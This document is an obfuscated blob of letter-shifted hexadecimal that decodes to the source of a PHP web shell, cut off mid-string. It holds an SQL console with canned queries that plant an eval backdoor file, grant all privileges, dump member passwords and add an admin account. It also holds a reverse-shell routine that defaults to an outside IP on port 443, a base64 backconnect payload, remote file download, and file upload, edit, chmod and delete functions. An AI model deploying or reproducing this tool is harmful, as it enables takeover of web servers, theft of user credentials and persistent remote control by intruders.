53q2273716p686s737422207374796p653q2277696474683n31383870783o222076616p75653q22272r2473716p686s73742r27223r20273o0q0n6563686s2027r794n8r688o7203p696r70757420747970653q227465787422206r616q653q2273716p7573657222207374796p653q2277696474683n31303870783o222076616p75653q22272r2473716p757365722r27223r20273o0q0n6563686s2027r5ns86r7n081203p696r70757420747970653q227465787422206r616q653q2273716p7061737322207374796p653q2277696474683n31303870783o222076616p75653q22272r2473716p706173732r27223r20273o0q0n6563686s2027r5on93r5908q203p696r70757420747970653q227465787422206r616q653q2273716p6r616q6522207374796p653q2277696474683n31303870783o222076616p75653q22272r2473716p6r616q652r27223r3p2s74643r3p2s74723r273o0q0n6563686s20273p74723r3p74643rr8nsnqr58sn53p62723r273o0q0n6563686s20273p73656p656374206s6r6368616r67653q2224285p2773716p636s64655p27292r76616p75653q6s7074696s6r735o73656p6563746564496r6465785q2r76616p7565223r273o0q0n6563686s20273p6s7074696s6r2076616p75653q2273656p6563742076657273696s6r28293o223r2q2q2qr8nsnqr58sn5r99o86r590882q2q2q3p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q2273656p656374205p273p3s706870206576616p2028245s504s53545o636q645q293o3s3r5p2720696r746s206s757466696p65205p27443n2s7765622s7368656p6p2r7068705p273o223rr58699r585n5r69687r4ooo63p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q224752414r5420414p4p2050524956494p45474553204s4r202n2r2n20544s205p27272r2473716p757365722r275p27405p27255p27204944454r544946494544204259205p27272r2473716p706173732r275p272057495448204752414r54204s5054494s4r3o223rr5op80r590nsr5n496r8os9r3p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q2273686s77207661726961626p65733o223rr7o3oor7oo9sr58s98r9878s3p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q22637265617465206461746162617365207430306p733o223rr5889or5ooonr695o0r68qnrr5on933p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q22637265617465207461626p6520607430306p736020286069646020494r5428313029204r4s54204r554p4p202p607573657260205641524348415228333229204r4s54204r554p4p202p607061737360205641524348415228333229204r4s54204r554p4p292054595045203q204q594953414q3o223rr5889or5ooonr695o0r68qnrr8n1n83p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q2273686s77206461746162617365733o223rr698orr7n4onr695o0r68qnrr5on933p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q2273686s77207461626p65732066726s6q2060272r2473716p6r616q652r27603o223rr698orr7n4onr695o0r68qnrr8n1n83p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q2273686s7720636s6p756q6r732066726s6q20607430306p73603o223rr698orr7n4onr8n1n8r7oo93r69r843p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q2264726s70207461626p6520607430306p73603o223rr588n0r999n4r695o0r68qnrr8n1n83p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q2273656p65637420757365726r616q652p70617373776s72642p73616p742p656q61696p2066726s6q20607072655s7563656r7465725s6q656q6265727360206p696q697420302p33303o223rr698orr7n4onr5nq97r6nro53p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q22696r7365727420696r746s206061646q696r6020286075736572602p607061737360292076616p75657320285p277430306p735p272p205p2766316138316437383264656136613139626463613338336266666536383435325p27293o223rr68s92r585n5r695o0r68qnr3p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q22757064617465206061646q696r602073657420607573657260203q205p277430306p73315p272p607061737360203q205p2735306465323337653338393630306163616462656461336436653665306231665p2720776865726520607573657260203q205p277430306p735p2720616r6420607061737360203q205p2766316138316437383264656136613139626463613338336266666536383435325p27206p696q697420313o223rr4osnrr694o9r695o0r68qnr3p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q227430306p7361205p2764697363757n7832355p27207430306p7362205p277072655s7563656r7465725s6q656q626572735p27207430306p7363205p27757365726r616q652p70617373776s72642p73616p742p656q61696p5p27207430306p7366696p65205p27272r544849534449522r276s75742r7478745p273o223rr884o1r5on93284q7953716p293p2s6s7074696s6r3r273o0q0n6563686s20273p2s73656p6563743r273o0q0n6563686s20273p2s74643r3p74643r3p7465787461726561206r616q653q2273716p636s6465222069643q2273716p636s646522207374796p653q2277696474683n36383070783o6865696768743n383070783o223r272r68746q6p7370656369616p6368617273282473716p636s6465292r273p2s74657874617265613r3p2s74643r3p2s74723r273o0q0n6563686s20273p74723r3p74643rr6938qr4oq9p3p2s74643r3p74643r3p73656p656374206r616q653q226r616q6573223r273o0q0n246368617273657473203q206172726179282767626o272p2775746638272p2762696735272p276p6174696r31272p276370383636272p27756n6973272p276575636o72272p276o6s693872272p276o6s69387527293o0q0n666s72656163682824636861727365747320617320246368617273657429207o206563686s20273p6s7074696s6r2076616p75653q22272r24636861727365742r2722272r28246r616q6573203q3q202463686172736574203s20272073656p656374656427203n202727292r273r272r24636861727365742r273p2s6s7074696s6r3r273o207q0q0n6563686s20273p2s73656p6563743r203p696r70757420747970653q227375626q697422207374796p653q2277696474683n383070783o222076616p75653q22r689n7r8n18p223r3p2s74643r3p2s74723r273o0q0n6563686s20273p2s7461626p653r3p2s666s726q3r273o0q0n69662824726s777329207o0q0n096563686s20273p707265207374796p653q2270616464696r673n3570783o6261636o67726s756r643n234638463846383o746578742q616p69676r3n6p6566743o223r273o0q0n096s625s737461727428293o0q0n097072696r745s722824726s7773293o0q0n09246s7574203q206s625s6765745s636s6r74656r747328293o0q0n096s625s656r645s636p65616r28293o0q0n09696628707265675s6q6174636828277r5o5p787o346530307q2q5p787o396661357q5q2o7r75272p246s7574292026262066756r6374696s6r5s657869737473282769636s6r76272929207o20246s7574203q204069636s6r7628275554462q38272p274742323331322s2s49474r4s5245272p246s7574293o207q0q0n096563686s2068746q6p7370656369616p636861727328246s7574293o0q0n096563686s20273p2s7072653r273o0q0n7q0q0n627265616o3o0q0n0q0n6361736520226261636o7368656p6p22203n200q0n6966282821656q70747928245s504s53545o276261636o6970275q2929202626202821656q70747928245s504s53545o276261636o706s7274275q292929207o0q0n09246261636o6970203q20245s504s53545o276261636o6970275q3o0q0n09246261636o706s7274203q20245s504s53545o276261636o706s7274275q3o0q0n092474656q70203q20245s504s53545o2774656q70275q203s20245s504s53545o2774656q70275q203n20272s746q70273o0q0n092474797065203q20245s504s53545o2774797065275q3o0q0n09246q7367203q206261636o7368656p6p28246261636o69702p246261636o706s72742p2474656q702p2474797065293o0q0n7q20656p7365207o0q0n09246261636o6970203q20273232322r37332r3231392r3931273o0q0n09246261636o706s7274203q2027343433273o0q0n092474656q70203q20272s746q70273o0q0n092474797065203q2027706p273o0q0n7q0q0n6563686s20273p64697620636p6173733q226q7367626s78223r272r246q73672r273p2s6469763r273o0q0n6563686s20273p666s726q206q6574686s643q22504s5354223r273o0q0n7375626576616p28293o0q0n6563686s20273p696r70757420747970653q2268696464656r22206r616q653q22676s222069643q22676s222076616p75653q226261636o7368656p6p223r273o0q0n6563686s20273p7461626p6520636p6173733q227461626p6573223r3p74723r3p7468207374796p653q2277696474683n3135253o223rr5908qr7n7o03p2s74683r3p74683rr8nrorr7oqnr3p2s74683r3p2s74723r273o0q0n6563686s20273p74723r3p74643rr58s8qr5opo9r59po0r59q803p2s74643r3p74643r3p696r70757420747970653q227465787422206r616q653q226261636o697022207374796p653q2277696474683n32363870783o222076616p75653q22272r246261636o69702r27223r2028596s7572206970293p2s74643r3p2s74723r273o0q0n6563686s20273p74723r3p74643rr58s8qr5opo9r7nonsr58sn33p2s74643r3p74643r3p696r70757420747970653q227465787422206r616q653q226261636o706s727422207374796p653q2277696474683n32363870783o222076616p75653q22272r246261636o706s72742r27223r20286r63202q76766p7020272r246261636o706s72742r27293p2s74643r3p2s74723r273o0q0n6563686s20273p74723r3p74643rr4o8o4r697o6r79onrr5oq953p2s74643r3p74643r3p696r70757420747970653q227465787422206r616q653q2274656q7022207374796p653q2277696474683n32363870783o222076616p75653q22272r2474656q702r27223r20284s6r6p79204p696r7578293p2s74643r3p2s74723r273o0q0n6563686s20273p74723r3p74643rr58s8qr5opo9r696o9r6o3953p2s74643r3p74643r273o0q0n247479706573203q2061727261792827706p27203q3r20275065726p272p27707927203q3r2027507974686s6r272p276327203q3r2027432q62696r272p2770636r746p27203q3r202750636r746p272p2770687027203q3r2027504850272p2770687077696r27203q3r20275048502q575327293o0q0n666s72656163682824747970657320617320246o6579203q3r20246r616q6529207o206563686s20273p6p6162656p3r3p696r70757420747970653q22726164696s22206r616q653q2274797065222076616p75653q22272r246o65792r2722272r28246o6579203q3q202474797065203s202720636865636o656427203n202727292r273r272r246r616q652r273p2s6p6162656p3r20273o207q0q0n6563686s20273p2s74643r3p2s74723r3p74723r3p74643rr6938qr4oq9p3p2s74643r3p74643r3p696r70757420747970653q227375626q697422207374796p653q2277696474683n383070783o222076616p75653q22r58s8qr5opo9223r3p2s74643r3p2s74723r273o0q0n6563686s20273p2s7461626p653r3p2s666s726q3r273o0q0n627265616o3o0q0n0q0n6361736520226564697422203n20636173652022656469746s7222203n200q0n2466696p65203q2073747264697228245s504s53545o27676s646972275q2r272s272r245s504s53545o27676s766172275q293o0q0n2469636s6r76203q2066756r6374696s6r5s657869737473282769636s6r7627293o0q0n6966282166696p655s657869737473282466696p652929207o0q0n09246q7367203q2027r38090r696o0r5ooonr69687r4ooo6r38091273o0q0n7q20656p7365207o0q0n0924636s6465203q2066696p6572282466696p65293o0q0n092463687374203q2027r9oo98r8nrn4273o0q0n09696628707265675s6q6174636828277r5o5p787o346530307q2q5p787o396661357q5q2o7r75272p24636s646529202626202469636s6r7629207o202463687374203q20277574662q38273o2024636s6465203q204069636s6r7628275554462q38272p274742323331322s2s49474r4s5245272p24636s6465293o207q0q0n092473697n65203q2073697n652866696p6573697n65282466696p6529293o0q0n09246q7367203q2027r38090r69687r4ooo6r5o19rr680n720272r737562737472286465636s63742866696p657065726q73282466696p6529292p2q34292r27r3809120r38090r69687r4ooo6r5n4n7r5o08s20272r2473697n652r27r3809120r38090r69687r4ooo6r7op96r7n08120272r24636873742r27r38091273o0q0n7q0q0n6563686s206261736536345s6465636s6465282750484r6n636q6p77644342735957356r6457466r5n543069616q463259584r6n636q6p776443492o445170325958496762694139494441374451706q6457356n64476p766269427n5n5746795932676s633352794o53423744516s4n646q46794948523464437767615377675n6q3931626q513744516s4n6157596s6333527949443039494349694o5342795n585231636q34675n6q46736332553744516s4n64486830494430674n43676r5n6q6p735n574r765n47556r4o53356n636q5668644756555n586830556q46755n32556s4o54734r43676p6q6233496s615341394944413749476o67504430676269416q4n69416s5n6q3931626q516750534230654851755n6q6p755n46526p6548516s633352794o536o67495430675n6q46736332553749476o724o796p3744516s4n435852346443357462335n6p55335268636r516s496q4r6s59584n685933526p63694973494445704s77304o43516p3065485175625739325n5556755n436769644756346447566o615851694o54734r43676p3944516s4n6157596s5n6q3931626q51706579423065485175625739325n564r3059584n304o434n6n6147467959574r305n5849694p4341744q536o37494852346443356q6157356o564756346443687n644849704s79423065485175633256735n574r304o436o37494852346443357n59334n766247784n626r5276566q6p6p647967704s7942754o7973374948304r43676p6p62484r6p49487367615759674o473467506941774o53423749473467505341774s79427n5n5746795932676s633352794o5473676653426p62484r6p494746735n584n304o484r3063694172494349754p693467546q39304p555n70626q51694o5473676651304o43584n6p644856796269426q5957787n5n54734r436r304r436n777663324r796158423050673q3q27293o0q0n6563686s20273p64697620636p6173733q226q7367626s78223r3p696r707574206r616q653q226o6579776s7264222069643q226o6579776s72642220747970653q227465787422207374796p653q2277696474683n31333870783o6865696768743n313570783o223r3p696r70757420747970653q22627574746s6r222076616p75653q224945r69sn5r689orr58685r5nro922206s6r636p69636o3q227365617263682824285p276o6579776s72645p27292r76616p7565293o223r202q20272r246q73672r273p2s6469763r273o0q0n6563686s20273p666s726q206r616q653q226564697466726q222069643q226564697466726q22206q6574686s643q22504s5354223r273o0q0n7375626576616p28293o0q0n6563686s20273p696r70757420747970653q2268696464656r22206r616q653q22676s222076616p75653q22223r3p696r70757420747970653q2268696464656r22206r616q653q22616374222069643q22616374222076616p75653q2265646974223r273o0q0n6563686s20273p696r70757420747970653q2268696464656r22206r616q653q22646972222069643q22646972222076616p75653q22272r6469726r616q65282466696p65292r27223r273o0q0n6563686s20273p64697620636p6173733q22616374616p6p223rr69687r4ooo6203p696r70757420747970653q227465787422206r616q653q2266696p656r616q65222076616p75653q22272r2466696p652r2722207374796p653q2277696474683n35323870783o223r20273o0q0n6966282469636s6r7629207o0q0n096563686s2027r7op96r7n081203p73656p656374206r616q653q22746s737472223r273o0q0n092473656p65637473203q20617272617928276r6s726q616p27203q3r2027r9oo98r8nrn4272p2775746627203q3r20277574662q3827293o0q0n09666s7265616368282473656p656374732061732024766172203q3r20246r616q6529207o206563686s20273p6s7074696s6r2076616p75653q22272r247661722r2722272r28246r616q65203q3q202463687374203s20272073656p656374656427203n202727292r273r272r246r616q652r273p2s6s7074696s6r3r273o207q0q0n096563686s20273p2s73656p6563743r273o0q0n7q0q0n6563686s20273p2s6469763r3p64697620636p6173733q22616374616p6p223r3p7465787461726561206r616q653q2266696p65636s6465222069643q2266696p65636s646522207374796p653q2277696474683n36393870783o6865696768743n33353870783o223r272r68746q6p7370656369616p63686172732824636s6465292r273p2s74657874617265613r3p2s6469763r3p2s666s726q3r273o0q0n6563686s20273p64697620636p6173733q22616374616p6p22207374796p653q2270616464696r673n3570783o70616464696r672q72696768743n363870783o223r3p696r70757420747970653q22627574746s6r22206s6r636p69636o3q2224285p276564697466726q5p27292r7375626q697428293o222076616p75653q22r4os9qr5nq9822207374796p653q2277696474683n383070783o223r20273o0q0n6563686s20273p666s726q206r616q653q226261636o66726q222069643q226261636o66726q22206q6574686s643q22504s5354223r3p696r70757420747970653q2268696464656r22206r616q653q22676s222076616p75653q22223r3p696r70757420747970653q2268696464656r22206r616q653q22646972222069643q22646972222076616p75653q22272r6469726r616q65282466696p65292r27223r273o0q0n7375626576616p28293o0q0n6563686s20273p696r70757420747970653q22627574746s6r22206s6r636p69636o3q2224285p276261636o66726q5p27292r7375626q697428293o222076616p75653q22r8os94r59o9r22207374796p653q2277696474683n383070783o223r3p2s666s726q3r3p2s6469763r273o0q0n627265616o3o0q0n0q0n636173652022757066696p657322203n200q0n247570646972203q20697373657428245s504s53545o277570646972275q29203s20245s504s53545o277570646972275q203n20245s504s53545o27676s646972275q3o0q0n246q7367203q2027r38090r69p80r5n4n7r4o88nr4opn0r69687r4ooo620272r6765745s6366675s766172282275706p6s61645s6q61785s66696p6573697n6522292r27r3809120r38090504s5354r69p80r5n4n7r68s90r4onn4r695o0r68qnr20272r6765745s6366675s7661722822706s73745s6q61785s73697n6522292r27r38091273o0q0n246q6178203q2031303o0q0n696628697373657428245s46494p45535o2775706p6s616473275q2920262620697373657428245s504s53545o2772656r616q6573275q2929207o0q0n092475706p6s616473203q20245s46494p45535o2775706p6s616473275q3o0q0n09246q736773203q20617272617928293o0q0n09666s72282469203q20313o2469203p20246q61783o24692o2o29207o0q0n09096966282475706p6s6164735o276572726s72275q5o24695q203q3q2055504p4s41445s4552525s4s4o29207o0q0n0909092472656r616q65203q20245s504s53545o2772656r616q6573275q5o24695q203q3q202727203s202475706p6s6164735o276r616q65275q5o24695q203n20245s504s53545o2772656r616q6573275q5o24695q3o0q0n0909092466696p6561203q202475706p6s6164735o27746q705s6r616q65275q5o24695q3o0q0n0909092466696p6562203q20737472646972282475706469722r272s272r2472656r616q65293o0q0n090909246q7367735o24695q203q2066696p6575282466696p65612p2466696p656229203s20273p62723r3p68323rr4o88nr4opn0r68890r58n9s20272r2472656r616q652r273p2s68323r27203n20273p62723r3p68313rr4o88nr4opn0r5n4o1r8o4n520272r2472656r616q652r273p2s68313r273o0q0n09097q0q0n097q0q0n7q0q0n6563686s20273p64697620636p6173733q226q7367626s78223r272r246q73672r273p2s6469763r273o0q0n6563686s20273p666s726q206r616q653q2275707366726q222069643q2275707366726q22206q6574686s643q22504s53542220656r63747970653q226q756p7469706172742s666s726q2q64617461223r273o0q0n7375626576616p28293o0q0n6563686s20273p696r70757420747970653q2268696464656r22206r616q653q22676s222076616p75653q22757066696p6573223r3p696r70757420747970653q2268696464656r22206r616q653q22616374222069643q22616374222076616p75653q2275706p6s6164223r273o0q0n6563686s20273p64697620636p6173733q22616374616p6p223r3p703rr4o88nr4opn0r588o0r79onrr5oq95203p696r70757420747970653q227465787422206r616q653q22757064697222207374796p653q2277696474683n33393870783o222076616p75653q22272r2475706469722r27223r3p2s703r273o0q0n666s72282469203q20313o2469203p20246q61783o24692o2o29207o206563686s20273p703rr99984r4ooo6272r24692r27203p696r70757420747970653q2266696p6522206r616q653q2275706p6s6164735o272r24692r275q22207374796p653q2277696474683n33303070783o223r20r9878qr591oqr5908q203p696r70757420747970653q227465787422206r616q653q2272656r616q65735o272r24692r275q22207374796p653q2277696474683n31323870783o223r20272r246q7367735o24695q2r273p2s703r273o207q0q0n6563686s20273p2s6469763r3p2s666s726q3r3p64697620636p6173733q22616374616p6p22207374796p653q2270616464696r673n3870783o70616464696r672q72696768743n363870783o223r3p696r70757420747970653q22627574746s6r22206s6r636p69636o3q2224285p2775707366726q5p27292r7375626q697428293o222076616p75653q22r4o88nr4opn022207374796p653q2277696474683n383070783o223r20273o0q0n6563686s20273p666s726q206r616q653q226261636o66726q222069643q226261636o66726q22206q6574686s643q22504s5354223r3p696r70757420747970653q2268696464656r22206r616q653q22676s222076616p75653q22223r3p696r70757420747970653q2268696464656r22206r616q653q22646972222069643q22646972222076616p75653q22272r2475706469722r27223r273o0q0n7375626576616p28293o0q0n6563686s20273p696r70757420747970653q22627574746s6r22206s6r636p69636o3q2224285p276261636o66726q5p27292r7375626q697428293o222076616p75653q22r8os94r59o9r22207374796p653q2277696474683n383070783o223r3p2s666s726q3r3p2s6469763r273o0q0n627265616o3o0q0n0q0n64656661756p74203n200q0n0q0n696628697373657428245s46494p45535o27757066696p65275q2929207o0q0n09696628245s46494p45535o27757066696p65275q5o276r616q65275q203q3q20272729207o20246q7367203q20273p68313rr8nso7r98089r68on9r69687r4ooo63p2s68313r273o207q0q0n09656p7365207o202472656r616q65203q20245s504s53545o2772656r616q65275q203q3q202727203s20245s46494p45535o27757066696p65275q5o276r616q65275q203n20245s504s53545o2772656r616q65275q3o202466696p6561203q20245s46494p45535o27757066696p65275q5o27746q705s6r616q65275q3o202466696p6562203q2073747264697228246r6s776469722r2472656r616q65293o20246q7367203q2066696p6575282466696p65612p2466696p656229203s20273p68323rr4o88nr4opn0r69687r4ooo6272r2472656r616q652r27r68890r58n9s3p2s68323r27203n20273p68313rr4o88nr4opn0r69687r4ooo6272r2472656r616q652r27r5n4o1r8o4n53p2s68313r273o207q0q0n7q0q0n0q0n696628697373657428245s504s53545o27616374275q2929207o0q0n0973776974636828245s504s53545o27616374275q29207o0q0n09096361736520226122203n200q0n09090969662821245s504s53545o2766696p6573275q29207o20246q7367203q20273p68313rr8nso7r98089r68on9r69687r4ooo620272r245s504s53545o27766172275q2r273p2s68313r273o207q0q0n090909656p7365207o202469203q20303o20666s726561636828245s504s53545o2766696p6573275q206173202466696p656r616q6529207o202469202o3q2040636s70792873747264697228246r6s776469722r2466696p656r616q65292p73747264697228245s504s53545o27766172275q2r272s272r2466696p656r616q652929203s2031203n20303o207q20246q7367203q2020246q7367203q202469203s20273p68323rr585o1r5n48qr588o620272r24692r2720r4o8nnr69687r4ooo6r588o0272r245s504s53545o27766172275q2r27r68890r58n9s3p2s68323r27203n20273p68313rr585o1r5n48qr588o620272r24692r2720r4o8nnr69687r4ooo6r588o0272r245s504s53545o27766172275q2r27r5n4o1r8o4n53p2s68313r273o207q0q0n0909627265616o3o0q0n09096361736520226222203n200q0n09090969662821245s504s53545o2766696p6573275q29207o20246q7367203q20273p68313rr8nso7r98089r68on9r69687r4ooo63p2s68313r273o207q0q0n090909656p7365207o202469203q20303o20666s726561636828245s504s53545o2766696p6573275q206173202466696p656r616q6529207o202469202o3q2040756r6p696r6o2873747264697228246r6s776469722r2466696p656r616q652929203s2031203n20303o207q20246q7367203q202469203s20273p68323rr585o1r588n0r999n420272r24692r2720r4o8nnr69687r4ooo6r68890r58n9s3p2s68323r27203n20273p68313rr585o1r588n0r999n420272r24692r2720r4o8nnr69687r4ooo6r5n4o1r8o4n53p2s68313r273o207q0q0n0909627265616o3o0q0n09096361736520226322203n200q0n09090969662821245s504s53545o2766696p6573275q29207o20246q7367203q20273p68313rr8nso7r98089r68on9r69687r4ooo620272r245s504s53545o27766172275q2r273p2s68313r273o207q0q0n090909656p7365696628216572656728225r5o302q375q7o347q24222p245s504s53545o27766172275q2929207o20246q7367203q20273p68313rr5o19rr680n7r580opr99499r8nsns3p2s68313r273o207q0q0n090909656p7365207o202469203q20303o20666s726561636828245s504s53545o2766696p6573275q206173202466696p656r616q6529207o202469202o3q204063686q6s642873747264697228246r6s776469722r2466696p656r616q65292p626173655s636s6r7665727428245s504s53545o27766172275q2p382p31302929203s2031203n20303o207q20246q7367203q202469203s20273p68323rr585o120272r24692r2720r4o8nnr69687r4ooo6r4osnrr694o9r5o19rr680n7r4o8on272r245s504s53545o27766172275q2r27r68890r58n9s3p2s68323r27203n20273p68313rr585o120272r24692r2720r4o8nnr69687r4ooo6r4osnrr694o9r5o19rr680n7r4o8on272r245s504s53545o27766172275q2r27r5n4o1r8o4n53p2s68313r273o207q0q0n0909627265616o3o0q0n09096361736520226422203n200q0n09090969662821245s504s53545o2766696p6573275q29207o20246q7367203q20273p68313rr8nso7r98089r68on9r69687r4ooo620272r245s504s53545o27766172275q2r273p2s68313r273o207q0q0n090909656p736569662821707265675s6q6174636828272s285p642o292q285p642o292q285p642o2920285p642o293n285p642o293n285p642o292s272p245s504s53545o27766172275q2929207o20246q7367203q20273p68313rr697o6r997o4r6n0opr5op8sr99499r8nsns20272r245s504s53545o27766172275q2r273p2s68313r273o207q0q0n090909656p7365207o202469203q20303o20666s726561636828245s504s53545o2766696p6573275q206173202466696p656r616q6529207o202469202o3q2040746s7563682873747264697228246r6s776469722r2466696p656r616q65292p737472746s74696q6528245s504s53545o27766172275q2929203s2031203n20303o207q20246q7367203q202469203s20273p68323rr585o120272r24692r2720r4o8nnr69687r4ooo6r4osnrr694o9r697o6r997o4r4o8on272r245s504s53545o27766172275q2r27r68890r58n9s3p2s68323r27203n20273p68313rr585o120272r24692r2720r4o8nnr69687r4ooo6r4osnrr694o9r697o6r997o4r4o8on272r245s504s53545o27766172275q2r27r5n4o1r8o4n53p2s68313r273o207q0q0n0909627265616o3o0q0n09096361736520226522203n200q0n0909092470617468203q2073747264697228246r6s776469722r245s504s53545o27766172275q2r272s27293o0q0n09090969662866696p655s6578697374732824706174682929207o20246q7367203q20273p68313rr79onrr5oq95r5o7o2r5nq98r59pn820272r245s504s53545o27766172275q2r273p2s68313r273o207q0q0n090909656p7365207o20246q7367203q20406q6o6469722824706174682p3037373729203s20273p68323rr5889or5ooonr79onrr5oq9520272r245s504s53545o27766172275q2r2720r68890r58n9s3p2s68323r27203n20273p68313rr5889or5ooonr79onrr5oq9520272r245s504s53545o27766172275q2r2720r5n4o1r8o4n53p2s68313r273o207q0q0n0909627265616o3o0q0n09096361736520226622203n200q0n09090924636s6r74657874203q20617272617928276874747027203q3r206172726179282774696q656s757427203q3r20333029293o0q0n09090969662866756r6374696s6r5s657869737473282773747265616q5s636s6r746578745s637265617465272929207o202473747265616q203q2073747265616q5s636s6r746578745s6372656174652824636s6r74657874293o207q0q0n0909092464617461203q204066696p655s6765745s636s6r74656r74732028245s504s53545o27766172275q2p66616p73652p2473747265616q293o0q0n0909092466696p656r616q65203q2061727261795s706s70286578706p6s646528272s272p245s504s53545o27766172275q29293o0q0n090909696628246461746129207o20246q7367203q2066696p65772873747264697228246r6s776469722r2466696p656r616q65292p24646174612p2777622729203s20273p68323rr4o88or8oqoq20272r2466696p656r616q652r2720r68890r58n9s3p2s68323r27203n20273p68313rr4o88or8oqoq20272r2466696p656r616q652r2720r5n4o1r8o4n53p2s68313r273o207q20656p7365207o20246q7367203q20273p68313rr4o88or8oqoqr5n4o1r8o4n5r68896r4o88qr694nsr68p81r4o88or8oqoq3p2s68313r273o207q0q0n0909627265616o3o0q0n0909636173652022726622203n200q0n0909092466696p6573203q206578706p6s646528277p787p272p245s504s53545o27766172275q293o0q0n090909696628636s756r74282466696p65732920213q203229207o20246q7367203q20273p68313rr8or93r585n5r99499r8nsns3p2s68313r273o207q0q0n090909656p7365207o20246q7367203q204072656r616q652873747264697228246r6s776469722r2466696p65735o315q292p73747264697228246r6s776469722r2466696p65735o305q2929203s20273p68323rr9878qr591oqr5908q20272r2466696p65735o315q2r2720r4o8on20272r2466696p65735o305q2r2720r68890r58n9s3p2s68323r27203n20273p68313rr9878qr591oqr5908q20272r2466696p65735o315q2r2720r4o8on20272r2466696p65735o305q2r2720r5n4o1r8o4n53p2s68313r273o207q0q0n0909627265616o3o0q0n0909636173652022706422203n200q0n0909092466696p6573203q206578706p6s646528277p787p272p245s504s53545o27766172275q293o0q0n090909696628636s756r74282466696p65732920213q203229207o20246q7367203q20273p68313rr8or93r585n5r99499r8nsns3p2s68313r273o207q0q0n090909656p7365207o202470617468203q2073747264697228246r6s776469722r2466696p65735o315q293o20246q7367203q204063686q6s642824706174682p626173655s636s6r76657274282466696p65735o305q2p382p31302929203s20273p68323rr4osnrr694o9272r2466696p65735o315q2r27r5o19rr680n7r4o8on272r2466696p65735o305q2r27r68890r58n9s3p2s68323r27203n20273p68313rr4osnrr694o9272r2466696p65735o315q2r27r5o19rr680n7r4o8on272r2466696p65735o305q2r27r5n4o1r8o4n53p2s68313r273o207q0q0n0909627265616o3o0q0n09096361736520226564697422203n200q0n090909696628697373657428245s504s53545o2766696p656r616q65275q2920262620697373657428245s504s53545o2766696p65636s6465275q2929207o20696628245s504s53545o27746s737472275q203q3q20277574662729207o20245s504s53545o2766696p65636s6465275q203q204069636s6r7628274742323331322s2s49474r4s5245272p275554462q38272p245s504s53545o2766696p65636s6465275q293o207q20246q7367203q2066696p657728245s504s53545o2766696p656r616q65275q2p245s504s53545o2766696p65636s6465275q2p27772729203s20273p68323rr4os9qr5nq98r68890r58n9s20272r245s504s53545o2766696p656r616q65275q2r273p2s68323r27203n20273p68313rr4os9qr5nq98r5n4o1r8o4n520272r245s504s53545o2766696p656r616q65275q2r273p2s68313r273o207q0q0n0909627265616o3o0q0n090963617365202264656p7472656522203n200q0n0909092464656p646972203q2073747264697228246r6s776469722r245s504s53545o27766172275q2r272s27293o0q0n0909096966282166696p655s657869737473282464656p6469722929207o20246q7367203q20273p68313rr79onrr5oq9520272r245s504s53545o27766172275q2r2720r4o88qr5nq98r59pn83p2s68313r273o207q0q0n090909656p7365207o20246q7367203q2064656p74726565282464656p64697229203s20273p68323rr588n0r999n4r79onrr5oq9520272r245s504s53545o27766172275q2r2720r68890r58n9s3p2s68323r27203n20273p68313rr588n0r999n4r79onrr5oq9520272r245s504s53545o27766172275q2r2720r5n4o1r8o4n53p2s68313r273o207q0q0n0909627265616o3o0q0n097q0q0n7q0q0n0q0n2463686q6s64203q20737562737472286465636s63742866696p657065726q7328246r6s7764697229292p2q34293o0q0n696628212463686q6s6429207o20246q7367202r3q2027202q203p68313rr697n0r6o395r8nsoor58s96r79onrr5oq953p2s68313r273o207q0q0n0q0n246172726179203q2073686s7764697228246r6s77646972293o0q0n247468697375726p203q2073747264697228272s272r737472747228246r6s776469722p617272617928524s4s54444952203q3r20272729292r272s27293o0q0n246r6s77646972203q20737472747228246r6s776469722p617272617928275p2727203q3r2027253237272p272227203q3r20272532322729293o0q0n6563686s20273p64697620636p6173733q226q7367626s78223r272r246q73672r273p2s6469763r273o0q0n6563686s20273p64697620636p6173733q22616374616p6p223r3p666s726q206r616q653q2266726q222069643q2266726q22206q6574686s643q22504s5354223r273o0q0n7375626576616p28293o0q0n6563686s202869735s7772697461626p6528246r6s7764697229203s20273p68323rr8o7nsr5or843p2s68323r27203n20273p68313rr8o7nsr5or843p2s68313r27292r27203p696r70757420747970653q227465787422206r616q653q22646972222069643q2264697222207374796p653q2277696474683n35303870783o222076616p75653q22272r73747264697228246r6s776469722r272s27292r27223r20273o0q0n6563686s20273p696r70757420747970653q22627574746s6r22206s6r636p69636o3q2224285p2766726q5p27292r7375626q697428293o22207374796p653q2277696474683n353070783o222076616p75653q22r8oqnpr588o0223r20273o0q0n6563686s20273p696r70757420747970653q22627574746s6r22206s6r636p69636o3q226364285p27272r524s4s544449522r275p27293o22207374796p653q2277696474683n363870783o222076616p75653q22r6n0o9r79onrr5oq95223r20273o0q0n6563686s20273p696r70757420747970653q22627574746s6r22206s6r636p69636o3q226364285p27272r544849534449522r275p27293o22207374796p653q2277696474683n363870783o222076616p75653q22r7n88or5on8sr79onrr5oq95223r20273o0q0n6563686s20273p73656p656374206s6r6368616r67653q226364286s7074696s6r735o73656p6563746564496r6465785q2r76616p7565293o223r273o0q0n6563686s20273p6s7074696s6r3r2q2q2qr789o9r6nr8nr79onrr5oq952q2q2q3p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q22433n2s52454359434p45522s223r57696r2q52454359434p45523p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q22433n2s2452656379636p652r42696r2s223r57696r2q2452656379636p653p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q22433n2s50726s6772616q2046696p65732s223r57696r2q50726s6772616q3p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616